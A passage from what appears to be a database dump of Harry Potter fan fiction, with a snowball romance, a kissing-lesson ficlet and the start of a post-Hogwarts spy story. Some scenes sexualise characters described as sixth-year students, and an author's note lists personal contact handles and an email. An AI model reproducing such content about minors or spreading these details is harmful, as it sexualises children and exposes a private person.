shovel show down her shirt.</p>\n\n<p>&quot;Harry!&quot; She screeched out, blushing furiously but suddenly she found the snow going in all the wrong places and screamed out how cold it was. In a desperate maneuver, she turned over to try and crawl away from him. She didn&#8217;t expect, however, to find the wet powdery substance to find it&#8217;s way into the back of her pants. &quot;Harrrrrryyyyyyyyy!&quot;</p>\n\n<p>						~**~ </p>\n\n<p>Hermione was shaking as she walked to the common room. After admitting defeat to the boys, the girls took to trying to get snow from their shirts and pants &#8211; cheeks burning red, and not from the sting of the snow. The men had taken to a victory dance while yelling out their triumph. Despite losing and being drowned in snow, the girls still found enough dignity to realize that none of them could dance and were making quite the fools out of themselves.</p>\n\n<p>With a shiver, Hermione pulled Harry\'s cloak closer around her. He was walking next to her, holding her hand with a smug grin on his face. He had gotten her back for the snowball that chilled his neck and was now content enough to turn back into the nice friend he was, and wasted no time in wrapping his cloak around her when they reached the inside of Hogwarts castle.</p>\n\n<p>She had tried to refuse at first, but shook with the cold and found it being wrapped around her after he took hers off. True, his cloak wasn&#8217;t much dryer, but it still wasn&#8217;t soaked like hers. At least his hand was warm. Harry and Ron had worn the mittens she had gotten the both of them a week or so earlier at Hogsmeade. She felt him squeeze her hand when he found her looking at him in thought. A light blush hit her face and she looked down again.</p>\n\n<p>&quot;Don&#8217;t be shy.&quot; He said encouragingly. &quot;No one is around to pick at us.&quot;</p>\n\n<p>&quot;Hmm.&quot; Hermione let her gaze return to looking in front of her. The pair had held hands when they walked together since fifth year. Everyone had, of course, teased them about it, but it was just a friendly gustier. &#8216;<i>Honestly.</i>&#8217; Hermione through to herself as she played with Harry\'s fingers absentmindedly. &#8216;<i>Friends do this all the time. I mean, I hold Ron\'s hand as well.</i>&#8217; She paused her thinking. &#8216;<i>Don&#8217;t I? Yes, I think I do&#8230; no, wait, I only do that when we all walk together. Oh darn, no wonder people think we&#8217;re a couple. Not that I mind. I mean it </i>is<i> Harry we&#8217;re talking about here.</i>&#8217;</p>\n\n<p>&quot;Password?&quot;</p>\n\n<p>&quot;Excuse me?&quot; Hermione suddenly snapped out of her thoughts and looked at the fat lady.</p>\n\n<p>Harry looked down at her. &quot; &#8216;Mione, the password. Remember? We say it to get in the tower?&quot;</p>\n\n<p>Hermione smacked him lightly on his arm. &quot;Hush you.&quot; She turned to the picture and sniffed indignantly. &quot;Kow-a-bunga&quot; The portrait swung open, allowing them entrance. &quot;Harry, we&#8217;re never letting you pick the password again. Poor Neville has never gotten it right once.&quot;</p>\n\n<p>&quot;Hey, what&#8217;s wrong with kow-a-bunga? I <i>like</i> kow-a-bunga!&quot;</p>\n\n<p>&quot;Sure thing, Ninja turtle rip off.&quot; Only the muggle born people in the tower had truly appreciated the phrase.</p>\n\n<p>Harry broke into a wide grin. &quot;Go ninja, go ninja, go!&quot;</p>\n\n<p>&quot;So help me!&quot; Hermione cut him off. &quot;If you sing that song <i>one</i> more time&#8230;&quot;</p>\n\n<p>&quot;Stop! Calibrate and <i>listen!</i>&quot;</p>\n\n<p>&quot;Argh! I&#8217;m going to change!&quot;</p>\n\n<p>&quot;Can I watch?&quot; it was asked innocently enough.</p>\n\n<p>Hermione turned on her heels at her dorm door and smiled sweetly up at him. &quot;Of course.&quot; She winked at him and started pulling him in. &quot;Just so you know, my bra is red and lacy and <i>very</i> wet and cold&#8230;&quot;</p>\n\n<p>Harry stammered. &quot;Um, actually, I er, gotta, um, go meet Ron&#8230; Yeah, Ron!&quot; He was sure he was blushing furiously.</p>\n\n<p>&quot;Aww,&quot; She pouted up at him. &quot;Is Harry-warry embarrassed?&quot; She pinched his cheek and cooed up at him. &quot;How cuuuute!&quot;</p>\n\n<p>&quot;Hermione!&quot;</p>\n\n<p>Lightly she slapped his cheek and grinned. &quot;I win, Harry Potter.&quot; And with that, she closed the door on him.</p>\n\n<p>&quot;&#8230; I need a shower&#8230;&quot; Harry slowly made his way to his dorm to get some dry cloths. &quot;A nice&#8230; long&#8230;hot&#8230;shower.&quot;</p>\n\n<p>&quot;Hermione pull the &#8216;you can watch me change&#8217; thing again?&quot; Ron asked, overhearing him while pulling on a dry shirt.</p>\n\n<p>&quot;Yeah&#8230;&quot;</p>\n\n<p>&quot;Don&#8217;t stay in there an hour this time, it&#8217;s too obvious.&quot;</p>\n\n<p>&quot;Save it, you.&quot; But he held his classic goofy grin as he grabbed his towel. &quot;I&#8217;ll think about her if I want to.&quot; His voice was light, however. It was clear he was still in a good mood. After all, thinking about Hermione <i>was</i> one of his favourite activities. Ron knew there was something between the two for a long time now, and it seemed that neither made any move to deny it.</p>\n\n<p>						~**~</p>\n\n<p>Harry found Hermione in the common room later that night after dinner. The girl was curled on the couch with what appeared to be Ron\'s blanket and Harry\'s sweatshirt (as she constantly pulled it back over her shoulder). Neither boy minded her going through their things for stuff like that. It started their sixth year when the twins had hexed all of her &#8216;pretty underthings&#8217; as they had called them. An itching charm on a bra was <i>not</i> Hermione&#8217;s idea of a good time. She raided Harry\'s trunk for cloths to wear for the day and Ron\'s for a shirt to sleep in at night. </p>\n\n<p>Ever since, Hermione had always had a few of Harry\'s cloths stashed away in her trunk. A shirt here, a sweatshirt there. The poor boy may dwarf her by a foot and a half now, but he was still so skinny Hermione had no problem (other than the shoulders) keeping his cloths on in a decent way.</p>\n\n<p>Harry walked up behind her and read a little of the book she currently had in her hands.</p>\n\n<p>	<i>The girl held her breath as she walked through the forest alone. She could hear the leaves crunching under her feat as she made her way. Her long brown hair fluttered lightly in the wind. Her lavender eyes searched the area she was in intently. &quot;Satashi?&quot; Jena-su called, worrying for her friend. He had been separated from her for almost an hour now.</i></p><i>\n\n<p>	The wind seemed to pause then. Jena-su&#8217;s eyes widened a little as she felt hot breath on the back of her neck. She could feel the presence behind her. It was evil. Hungry. Thirsty for her blood. She didn&#8217;t have to turn to know it was a demon, for it announced itself with a roar that could startle even the dead from the graves:</p>\n\n</i><p>&quot;Rooooooooaaaaaarrrr!&quot;</p>\n\n<p>&quot;Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!&quot;</p>\n\n<p>Harry fell over laughing, clutching his side. The opportunity was just too great to resist. Hermione was on the floor, breathing heavily and holding a hand to her heart now. Her face was ghostly white and she didn&#8217;t even seem to notice the entire house of Gryffindors was laughing hard at Harry\'s little joke.</p>\n\n<p>When her heart rate calmed down to the usual and she could properly breathe, Hermione realized that Harry was the one who had screamed behind her. &quot;Harry!&quot; she scolded after getting her bearings. &quot;What an immature and&#8230;and &#8230; <i>childish</i> thing to do! It was stupid! I was uncalled for! It was-&quot;</p>\n\n<p>&quot;It was <i>great</i>!&quot; Fred declared over the noise. &quot;I wish I could take a picture of that!&quot;</p>\n\n<p>&quot;Hehe, Sorry, Herms.&quot; Harry grinned, holding out his hand to help her up. &quot;Come on.&quot;</p>\n\n<p>Hermione gave him a skeptical look, but still took his hand and let him hoist her to her feet, where she quickly sat back down. Harry picked up her book while she tried to get her blanket back around herself. &quot;What&#8217;cha reading?&quot; He asked innocently, handing her the book, not even thinking to look at the cover.</p>\n\n<p>&quot;Chronicles of Heaven and Earth: Fallen Angel&quot; She replied, taking the book from him. &quot;It&#8217;s a muggle novel, about a really powerful witch and a boy who can turn into a dragon! They go on an adventure to try and find a &#8216;queen of evil&#8217; and stop her from joining with the demon race and taking over the world!&quot;</p>\n\n<p>&quot;Sounds fun.&quot; Harry admitted, sitting behind her and looking over her shoulder again.</p>\n\n<p>&quot;Oh no you don&#8217;t.&quot; Hermione insisted, moving so she sat in his lap. &quot;It&#8217;s you&#8217;re going to be behind me, I want to keep constant tabs on you.&quot; </p>\n\n<p>Harry shifted lightly so his back was on the tall armrest of the couch and Hermione in his lap, legs taking up almost the entire couch. After getting settled in a good position, she leaned back against his chest and found her head to rest just perfectly on his shoulder. Harry\'s hands wrapped around her waist and both used the blanket to avoid letting anyone see their comfy position. If anyone saw just how Hermione and Harry had absolutely no room between them, the two would never live it down.</p>\n\n<p>So Harry held Hermione close to him as she read her book. At odd intervals, she would twitch slightly or sigh at a romantic part between the two characters. </p>\n\n<p>All in all, Harry was quite bored. </p>\n\n<p>He had, however, found ways of making Hermione squeak like a schoolgirl and discovered a few more tickle spots to add to his ever-growing list. He now knew that the right side was ticklish if moved on very lightly. Also, he noted that she was particularly squeelish around her belly button. These would give him an advantage in a tickle fight, if he couldn&#8217;t go for the more &#8216;bold&#8217; spots that were his favorite. Who would of known that a girl would laugh so hard if tickled <i>there</i>.</p>\n<i><u>\n</u></i><p>Hermione sighed again happily, drawing Harry\'s attention back to the book. It seemed that the dip Satashi was about to finally make a move on this Jena-su girl. No, wait a minute, he didn&#8217;t. He completely and blissfully missed the obvious pickup line.</p>\n\n<p>&quot;This guy is a git!&quot; Harry protested after a bit. &quot;He has no clue!&quot;</p>\n\n<p>&quot;I think it&#8217;s sweet.&quot; Hermione protested, letting one hand fall on his that were clasped on her stomach, just below her slightly raised shirt. His hands felt warm on her skin and she found that she increasingly liked skin contact. &quot;He has charm.&quot;</p>\n\n<p>&quot;He talks like Yoda and doesn&#8217;t even know how to pick up a girl!&quot;</p>\n\n<p>&quot;It&#8217;s sweet!&quot;</p>\n\n<p>&quot; That it is not!&quot; Harry protested, trying to imitate the way the boy talked. &quot; <i>I</i> could do better!&quot;</p>\n\n<p>&quot;Oh?&quot; She sat the book in her lap and pulled the blanket to her chin. &quot;Then prove it.&quot;</p>\n\n<p>&quot;Eh?&quot;</p>\n\n<p>&quot;Prove you know how to please a girl better than that sweet guy.&quot;</p>\n\n<p>Harry thought for a moment and then smiled.</p>\n\n<p>Hermione blushed a second later and felt her heart speed up as she laid her head back against him &quot;Oh <i>Harry</i>&#8230;&quot; She was going to say something else, but a pair of sweet lips prevented her. After they receded, Hermione found emerald eyes shining down at her.</p>\n\n<p>&quot;Well?&quot;</p>\n\n<p>&quot;I don&#8217;t know.&quot; She smiled shakily up at him. &quot;I&#8230; I think I&#8217;m going to have to see more.&quot;</p>\n\n<p>&quot;My room?&quot; He asked in a whisper so none of the people who had caught their kiss could hear.</p>\n\n<p>&quot;Yeah.&quot; She nodded shortly, blushing. &quot;Just let me fix my shirt&#8230;&quot;</p>\n\n<p>					           ~~**~~</p>\n\n<p>A/N: Like it? Hate it? Let me know! Funny little waff for yas. Not my usual style, but &#8211;hey- sometimes one just needs to take a break from pure romance and make a little funny every now and then, ne?</p>\n\n<p>Oh! Also, the story Hermione was reading &quot;Chronicles of Heaven and Earth: Fallen Angel&quot; is an actual novel that me and my beautiful friend Jena-su are doing together. Original characters, in a world haunted by demons and evil. One of the last survivors of a dragon clan, hunted down for generations because of their belief, and a Shockingly pretty woman with magical powers and angel wings must stop an evil prince from getting back the queen of darkness. If anyone is interested, feel free to contact me (AIM: Vejita98 ; ICQ:16904096 ; email: Satashi@scifianime.com )and I&#8217;ll send you the first 2 chapters of it. ^.~</p>\n\n<p>Satashi is c/o of me</p>\n<p>Jena-su is c/o to herself</p>\n\n<p>P.S~ Yeah, &quot;Satashi&quot; is based on me, completely and blissfully unaware of pick-up lines&#8230;But girls seem to like this, even though it frustrates them. Weird, huh? Trust me, if  I could change , I would. Once I was refered to by Jena-su as a  &quot;damned cute bastard&quot; after I missed something&#8230;.</p>\n\n\n'),
	(112, 1, '\n\n<p>A/N: Pure cute kissing action. Enjoy.</p>\n\n<p>						~~**~~</p>\n\n<p>&nbsp;</p>\n<p>&quot;What was that?&quot;</p>\n\n<p>&quot; I said: I&#8217;bevabnksd&#8230;.&quot;</p>\n\n<p>&quot;Harry, I can&#8217;t understand you.&quot; Hermione pouted. &quot;Out with it. Who was your first kiss?&quot;</p>\n\n<p>&quot;I&#8217;ve nvabnksd&#8230;.&quot;</p>\n\n<p>&quot;Harry.&quot; Uh oh. That was the &#8216;don&#8217;t mess with me&#8217; tone.</p>\n\n<p>&quot;I <i>said</i>,&quot; Harry grumbled out. &quot;I&#8217;ve never been kissed&#8230;&quot;</p>\n\n<p align="CENTER">Lip Lock 101</p>\n<p align="CENTER">By: </p>\n<p align="CENTER">Satashi</p>\n<p align="CENTER"></p>\n<p align="CENTER">&nbsp;</p>\n<p>Blink, blink. &quot;You&#8217;re kidding.&quot; Her tone was flat and unbelieving. When Harry didn&#8217;t answer, she retried. &quot;You&#8217;re <i>kidding</i>!?&quot; Still no reply. &quot;You&#8217;re <i>KIDDING</i>!&quot;</p>\n\n<p>&quot;Hermione!&quot; His call fell on deaf ears, for she was rolling on her bed, laughing like a schoolgirl. &quot;Okay, that&#8217;s it.&quot; Harry made to get off of Hermione&#8217;s bed. &quot;I can&#8217;t do this girl talk stuff!&quot;</p>\n\n<p>Hermione grabbed his arm and tried to stifle her giggles. &quot;Sorry, sorry.&quot; She managed out between gasps for air. &quot;I&#8217;m just surprised, that&#8217;s all.&quot;</p>\n\n<p>Harry sighed and sat back down in front of her. There were only a few people staying over the Christmas break, and none &#8211; Save Hermione &#8211; were sixth year girls. She had called Harry up to her empty dorm for a little chat. Well, &#8216;girl chat&#8217; was what she said, but Harry thought she was kidding with him.</p>\n\n<p>He was wrong.</p>\n\n<p>After the unavoidable shock at first, Harry was quite interested in what girls talked about behind closed doors. He found that Hermione spent only thirty minutes getting dressed in the morning, shower and all. Out of all the girls in her dorm, she was by far the fastest. Also he had found out just what the name was of the shampoo that she used that he loved so very much. &quot;Sakura&quot; it was called. It was Japanese for &quot;Cherry Blossom&quot;</p>\n\n<p>But in turn he revealed that he used old spice shampoo and deodorant, giving him the electric scent that drove girls mad. Being friends, they two ignored the fact that guys typically didn&#8217;t talk about this kind of stuff, and continued in a friendly way until the question Hermione had asked earlier put him in his current situation: &quot;Who was your first kiss?&quot;</p>\n\n<p>&quot;Why haven&#8217;t you ever kissed a girl?&quot; Hermione asked, pulling the covers of her bed around her and upsetting her neatly tucked in bed.</p>\n\n<p>&quot;I dunno,&quot; He had to admit. &quot;It&#8217;s kinda like they don&#8217;t really see <i>me</i>, you know?&quot;</p>\n\n<p>She thought about it a moment before her eyes widened slightly in realization. &quot;You&#8217;re scar?&quot;</p>\n\n<p>&quot;Yeah&#8230; They want the name, not the boy behind it&#8230;&quot;</p>\n\n<p>&quot;Well, I know you just fine, and I must say, any girl would be stupid to pass up getting to know you.&quot;</p>\n\n<p>This earned her a smile. &quot;You really think so?&quot; He asked, hopeful.</p>\n\n<p>&quot;Of course.&quot;</p>\n\n<p>&quot;Thanks, Herms.&quot;</p>\n\n<p>&quot;Hey, anytime.&quot;</p>\n\n<p>&quot;I&#8217;d probably suck at kissing anyway.&quot;  Harry chuckled, meaning it to be an ending to this particular topic, but Hermione interrupted before he could bring up a new one.</p>\n\n<p>&quot;Aw, I don&#8217;t think so. You <i>do</i> know <i>how</i> to kiss, though, don&#8217;t you?&quot;</p>\n\n<p>This took him by surprise. &quot;Er, press lips together?&quot;</p>\n\n<p>Hermione gave him her flustered sigh, usually used when she was trying to tutor him in potions. &quot;No, Harry, there is more to it.&quot;</p>\n\n<p>Was there? &quot;Really?&quot;</p>\n\n<p>&quot;Yes, lots.&quot;</p>\n\n<p>&quot;Like what?&quot;</p>\n\n<p>&quot;You have to know how to tilt your head.&quot;</p>\n\n<p>&quot;Huh?&quot;</p>\n\n<p>&quot;So your noses won&#8217;t bump.&quot; She informed with a grin.</p>\n\n<p>&quot;How do you do that?&quot;</p>\n\n<p>&quot;Just tilt to the side a little, silly.&quot; She giggled as he tried to do it, making him look quite cute. &quot;No, no, no, that&#8217;s too far.&quot;</p>\n\n<p>&quot;Then how?&quot;</p>\n\n<p>Hermione sighed again and left the warmth of her covers to move and sit in his lap since his legs were crossed Indian style. The close priority made him blush a little, but he quickly found his attention on Hermione&#8217;s hands, which were lightly making his head tilt. &quot;There you go.&quot; She coached with a smile. &quot;Now pucker up.&quot;</p>\n\n<p>&quot;Hmm?&quot; He was sure he was blushing hard now, but found comfort in the fact she was too.</p>\n\n<p>&quot;Pretend you&#8217;re about to kiss a girl.&quot; She insisted, watching his lips. </p>\n\n<p>With a shrug, Harry did as he was told, but stopped when he heard a stifled giggle. &quot;What is it?&quot;</p>\n\n<p>Hermione simply shook her head with a smile. &quot;You&#8217;re kissing, Harry, not trying to whistle.&quot;</p>\n\n<p>&quot;Then how?&quot; He was getting a little upset. </p>\n\n<p>&quot;Just part your lips lightly, almost like you&#8217;re not doing it. Here, watch.&quot; Hermione placed her hands on his chest and looked up at him with wide pretty eyes. Slowly she let her eyes close as she lightly tilted her head up and let her lips part, licking them as an afterthought. After a moment, she opened her eyes and smiled. &quot;That&#8217;s how.&quot;</p>\n\n<p>Harry nodded and tried to imitate her, getting another small giggle. &quot;Hermione, you&#8217;re not helping&#8230;&quot;</p>\n\n<p>&quot;Sorry, sorry.&quot; She waved it off. &quot;This calls for desperate measures.&quot; With a light twist, she sat so her legs went on either side of his waist and crossed her legs at the ankles, sitting in his lap. &quot;Kiss me.&quot;</p>\n\n<p>&quot;Huh!?&quot; Already he was blushing more than could possibly be healthy. </p>\n\n<p>&quot;Kiss me.&quot; She replied simply, a faint tint of red.</p>\n\n<p>&quot;But&#8230;&quot;</p>\n\n<p>&quot;Harry, shut up and kiss me.&quot;</p>\n\n<p>So he did.</p>\n\n<p>Or, at least tried to. He found a finger press on his lips, stopping him and off setting his glasses. &quot;What?&quot;</p>\n\n<p>&quot;Rule number one:&quot; Hermione tapped his glasses. &quot;Take them off before you make out with a girl.&quot; And with that, she rid him of his glasses. &quot;Rule number two: kiss and close your eyes, not close your eyes and kiss.&quot;</p>\n\n<p>Harry blinked. &quot;Say that again?&quot;</p>\n\n<p>Hermione held back a laugh. He really knew nothing about this at all. &quot;If you close your eyes and lean in, no telling where your lips will land. Make sure you kiss a girl before letting your eyes close.&quot;</p>\n\n<p>&quot;but, you just&#8230;&quot;</p>\n\n<p>&quot;I&#8217;m the girl, Harry.&quot; She reminded. &quot;I get to close my eyes and wait for it. We&#8217;re special like that.&quot;</p>\n\n<p>&quot;That&#8217;s not fair!&quot;</p>\n\n<p>&quot;Life isn&#8217;t fair, Sweetie.&quot; She replied like she always did at that statement. &quot;Now try again.&quot; She lazily wrapped her arms around his neck.</p>\n\n<p>Harry nodded, determined, and leaned forward.</p>\n\n<p>&quot;Eye contact.&quot;</p>\n\n<p>Harry stopped a mere two inches away from her lips. &quot;Eye contact?&quot; He repeated her.</p>\n\n<p>&quot;Yeah, look into my eyes until I close them. It&#8217;s more romantic.&quot;</p>\n\n<p>Harry\'s vision focused on her large brown eyes. He never really took time to notice how pretty they were before. Slowly, he closed the gap and kissed her. At the last moment, he remembered to turn his head slightly and was proud of not bumping her nose like she had mentioned. Hermione, in turn, gave him a sound of approval.</p>\n\n<p>The kiss lasted all of two seconds before Harry started to pull away. Hermione&#8217;s hands quickly made sure that he wouldn&#8217;t get too far, however, and pulled him back so their lips were almost touching. &quot;Don&#8217;t part your lips so much.&quot; She whispered, taking his lips again.</p>\n\n<p>When the two separated once more, Harry left his forehead touching hers and didn&#8217;t open his eyes. &quot;A little softer&#8230;&quot; She spoke so lightly he could almost not hear her. A third time, their lips met. This one held for five full seconds before the small retreat. &quot;&#8230;Kiss the corners of the lips, like your teasing&#8230; Then kiss fully&#8230;&quot;</p>\n\n<p>Harry\'s lips kissed her cheek and made it&#8217;s way to the side of her mouth and teased her playfully before allowing her hungry lips to meet his. Hermione&#8217;s arms were now bent at the elbows as they wrapped around his neck, not allowing him to pull back more than an inch. &quot;&#8230;Lick my lips.&quot; Her breath was getting a little heavy. &quot;If the girl opens her mouth, she wants it.&quot;</p>\n\n<p>Harry didn&#8217;t waist any time blushing. His lips found hers once more and his tongue hit her lips, demanding entrance. Hermione granted it to him with a low purr in the back of her throat. Their tongues danced with each other a moment before Hermione spoke once again, making him retreat for the moment being. &quot;Slow for sensual, harder and faster for desire&#8230;&quot; Her breath was hot and left it&#8217;s imprint on his face by a small warm tingle. </p>\n\n<p>Suddenly Harry was aware of just how hot her body was getting against his. It was well past midnight and both were only clad in their bedtime attire. For Harry it was pajama pants and a lose black shirt, which was currently the only thing Hermione was wearing. She had taken it from him and changed from her night gown and into it before his very eyes, giving him a nice view of her backside and flame red panties. </p>\n\n<p>Now, it seemed as if she was wearing too much clothing to him. Her legs and arms burnt like fire against his skin. Her lips were as hungry as his and her tongue was soft yet demanding as she moved it into <i>his</i> mouth and forced him to learn quickly what she desired in the movement.</p>\n\n<p>&quot;&#8230; If a girl does this,&quot; Hermione whispered, pulling him back with her so he fell on top of her on the bed. &quot;You can take it as a <i>very</i> good sign&#8230;&quot; She moaned against his lips and pulled his body close to hers with her legs. &quot;Rub her sides&#8230;&quot; She continued teaching him, but breathing obviously harder than normal. &quot;Kiss her neck and look for a sign that she likes it&#8230;&quot;</p>\n\n<p>Harry did as he was told without question or any thoughts of not wanting to do it. He was about to ask just what kind of sign was to be given, but found Hermione moaning under him and squirming under his touch. He was surprised to find himself liking this so much. He would have to ask her to teach him more often. He was about to voice this question but found Hermione gasping when his lips left hers. &quot;Don&#8217;t stop!&quot; she managed out, pulling him back. &quot;don&#8217;t stop&#8230;&quot; She mumbled again through his lips. </p>\n\n<p>The pair continued to kiss for a few minutes before Hermione slowly pulled back, looking up at him with dilated eyes and blushing cheeks. &quot;Wow&#8230;&quot; she breathed out, trying to get air into her burning lungs. &quot;You&#8217;re really good&#8230;&quot;</p>\n\n<p>Harry kissed her lips lightly. &quot;I had a good teacher.&quot;</p>\n\n<p>Hermione smiled as he rolled off her and draped an arm lazily over her waist. &quot;Rule three:&quot; She whispered to him, snuggling against his chest. &quot;If the girl you kissed means anything to you&#8230; stay with her for the night and hold her until morning.&quot;</p>\n\n<p>Harry smiled and kissed her forehead while using his hand to pull the covers over them before replacing it on her side. Somewhere in the mix, her shirt had risen to her breast line, allowing him to touch her silky soft skin. &quot;Hermione&#8230;&quot; he began. &quot;Can&#8230; Can I hold this girl other nights too?&quot;</p>\n\n<p>She smiled, softly kissing his chest. &quot;Only if you are able to always hold her.&quot;</p>\n\n<p>&quot;I can do that.&quot;</p>\n\n<p>&quot;Then, please do.&quot; She looked up and into his eyes, kissing him goodnight gently and wraping an arm over him as well. &quot;I&#8217;ll see you in the morning, sweetie.&quot;</p>\n\n<p>&quot;Ah. Sweet dreams, my &#8216;Mione.&quot;</p>\n\n<p>					~~**~~</p>\n\n<p>A/N: Short little ficlet that I did in one sitting just for the fun of it. I hope you guys liked it. Review if this &#8216;fic touched your heart in any way. Your reviews feed my fire I need to write ^.~</p>\n\n'),
	(113, 1, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A\nCoded Parchment<br>\n<br>\nE. C. R. Potter<br>\n<br>\nA/N This story is a post Hogwarts fic. 4 years after graduation from Hogwarts,\nHarry Potter is an Unspeakable: an agent for the Department of Mysteries. With\nthe help of Journalist Hermione Granger and Auror Ron Weasley, Harry uncovers a\nconspiracy that could affect the future of the entire Wizarding World. Possible\nH/Hr in the future.<br>\n<br>\nDisclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros.,\nScholastic, Bloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 1: Draco Malfoy<br>\n<br>\nIt seemed as if every important wizard and witch in the wizarding world was\npresent in Diagon Alley that sunny Saturday afternoon. Socialite wizards and\nelegant witches as well as reporters from every form of magical media were\nthere. They were all gathered in front of a podium set in front of the\nbuildings that housed the research center for Magical Maladies. Standing behind\nthe podium was the object of attention. He was a young wizard around 21 years\nof age. He had slick, platinum blonde hair, cold grayish blue eyes, and was\nwearing elegant black robes with violet and silver trimmings.<br>\n<br>\n&#8220;I wish to thank all of you whom have attended today,&#8221; said the wizard with a\nmegawatt grin. &#8220;It has been a honor to be so rewarded as to having these\nbuildings named after me after me.&#8221; He gestured toward the building behind that\nhad a sign over head that read &#8216;Draco Malfoy Research Center&#8217;. &#8220;It has been\ngreat to know that just a few contributions from the Malfoy fortune has helped\nsave the lives of millions throughout the wizarding world who suffer from rare\ndiseases.&#8221; The guests applauded as cameras flashed. Draco Malfoy made a small\nbow before continuing.<br>\n<br>\n&#8220;All of my life, I have devoted myself to further improve the lives of witches\nand wizards everywhere. However, I have often been frustrated by the lack of\nhelp I could provide for there is only so much that a philanthropist can do.\nHowever, I am happy to announce that the days of my being a philanthropist will\nend soon.&#8221; He paused while the entire congregation fell silent. Only the\nclicking of cameras was heard. &#8220;I am pleased to say that I will be campaigning\nto become the next Minister of Magic.&#8221;<br>\n<br>\nThe crowd roared with applause and cameras flashed. As Draco walked off of the\npodium, he was swarmed by reporters who showered him with questions.<br>\n<br>\n&#8220;What has compelled you to run for Minister of Magic?&#8221;<br>\n<br>\n&#8220;What is your comment about the rumors about your late father&#8217;s association\nwith He-who-must-not-be-named?&#8221;<br>\n<br>\n&#8220;How do you feel about buildings and organizations being named after you?&#8221;<br>\n<br>\n&#8220;Will there be a Mrs. Malfoy in the near future?&#8221;<br>\n<br>\nDraco answered all questions with a smile. He mentioned that his father Lucius\nhad made a number of mistakes during his lifetime but that he hadn&#8217;t repeated\nthem. He also said that there was unfortunately no potential Mrs. Malfoy in his\nlife.<br>\n<br>\nAfter the crowd around him had subsided a little, Draco noticed that one of the\nDaily Prophet journalists hadn&#8217;t come near him. Rather she looked like she was\nready to leave. She was around the same age as him and was quite attractive\nwith long bushy brown hair and cinnamon brown eyes. She was wearing plain,\ngreen work robes and no make up. Draco immediately recognized her as someone\nfrom his class from Hogwarts. The Head Girl from his seventh year to be specific.\nHe himself had been a prefect.<br>\n<br>\n&#8220;Hermione Granger?&#8221;<br>\n<br>\nThe journalist looked up quite startled. &#8220;Yes,&#8221; she said.<br>\n<br>\nDraco grinned and approached her. &#8220;Hermione! Its great to see you again!&#8221; He\nstuck out his hand, which Hermione hesitantly shook. &#8220;How long has it been, 4\nyears? I see that you&#8217;re working for the Daily Prophet. Still in contact with\nyour old friends?&#8221;<br>\n<br>\nHermione remained speechless for a minute. From her memory of their Hogwarts\ndays, Draco Malfoy had loathed her and she had disliked him. The idea of Draco\nbeing friendly to her was a little unnerving to say the least.<br>\n<br>\n&#8220;Y..yes. Harry and I have lunch at the Leaky Cauldron everyday. And I see Ron\noften and the Weasleys all the time as well.&#8221;<br>\n<br>\nDraco nodded. &#8220;That&#8217;s good to hear. So could I invite you to have dinner with\nme some time then?&#8221;<br>\n<br>\n&#8220;What?!&#8221; Hermione was completely shocked. &#8216;Draco Malfoy asking me out on a\ndate?!&#8217; she thought. &#8220;Well, I&#8217;m a little busy these days but I promise to get a\nhold of you again with an answer.&#8221;<br>\n<br>\nDraco grinned. &#8220;Thanks, Hermione. It&#8217;s been great seeing you again. Owl me with\nyour answer.&#8221; He turned around and left, looking a good deal happier.<br>\n<br>\nA/N Well, here&#8217;s the first chapter of my second fic. I&#8217;m telling you now, this\nstory is strictly H/H! It is not a D/H (the horror)! I ask that you all read\nand review this story. This won&#8217;t be as long as &#8220;The Mage Knights&#8221; is. Its also\na lot more light hearted. So please, enjoy the fic! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(113, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 2: The Message in Code<br>\n<br>\nIt was night. The half moon shone down on an abandoned Warehouse just outside\nof Southern London. Three hooded figures huddled on the roof of the warehouse.\nTheir manners suggested that they were discussing something secretive.<br>\n<br>\nSuddenly, a bright light bathed the roof! The three figures pulled the hoods of\ntheir black cloaks lower so as to hide their faces. They turned to the origin\nof light.<br>\n<br>\nStanding there, a tall young wizard with messy raven black hair, emerald green\neyes, and round rimless glasses! He was all black and his trench coat like\ncloak gave him a near sinister and intimidating appearance! But his most\nobvious characteristic was the scar on his forehead shaped like a lightning\nbolt!<br>\n<br>\n&#8220;Well, well, well,&#8221; sneered one of the hooded wizards. &#8220;If it isn&#8217;t Harry\nPotter himself: stooge for the Ministry!&#8221;<br>\n<br>\n&#8220;For the Department of Mysteries to be exact,&#8221; said Harry. He pointed his wand\nand started advancing forward. &#8220;Now could you kindly state your business here\nor shall I take you in for questioning?&#8221;<br>\n<br>\nThe hooded wizards remained silent for a while. Suddenly, the one whom appeared\nto be leader of them drew his wand and yelled &#8220;Avada Kedavra!&#8221; Harry rolled and\ndodged the killing curse! He pointed his wand at the leader and yelled\n&#8220;Expelliarmus!&#8221; The wand flew out of the leaders hand and landed fifteen feet\nbehind Harry! Before Harry could make another move however, another one of the\nhooded wizards tackled him! Harry keeled over but he still managed to place a\nkick in the wizard&#8217;s midsection! Another swift kick to the jaw knocked the\nwizard off his feet! Harry quickly scrambled up as the third wizard sprang from\nbehind him! Before the wizard could attack though, Harry spun around and\nbackhanded his opponent! He placed a right hook and a left uppercut and sent\nthe wizard flying back!<br>\n<br>\nDuring the confusion, the leader had managed to recover his wand! He pointed\nhis wand and was about to fire another killing curse at Harry when&#8230;<br>\n<br>\n&#8220;Expelliarmus!&#8221; The leader was flung back as his wand flew out of his hand\nagain! Harry looked up to see who had shot the disarming spell.<br>\n<br>\nIt was a young man riding a broomstick, a Nimbus 2500. He was quite tall, had\nlong red hair that was pulled back in a ponytail, and freckles all over his\nface. He was wearing red, gold, and gray robes, black slacks and boots, and a\nblack cloak that billowed behind him like a cape.<br>\n<br>\n&#8220;Ron! What are you doing here?!&#8221;<br>\n<br>\nRon Weasley looked down toward Harry. &#8220;I&#8217;m an Auror. Hunting down dark wizards\nis my job; especially if they&#8217;re fighting an Unspeakable. Want some help?&#8221;<br>\n<br>\n&#8220;Thanks, but I can handle this.&#8221; Suddenly, Harry blasted backwards by one of\nthe hooded wizard&#8217;s curses. &#8220;OK, maybe I could use some help,&#8221; he said as he\nscrambled back up to his feet. Ron swooped in to help but was suddenly flung\noff his broom as he was 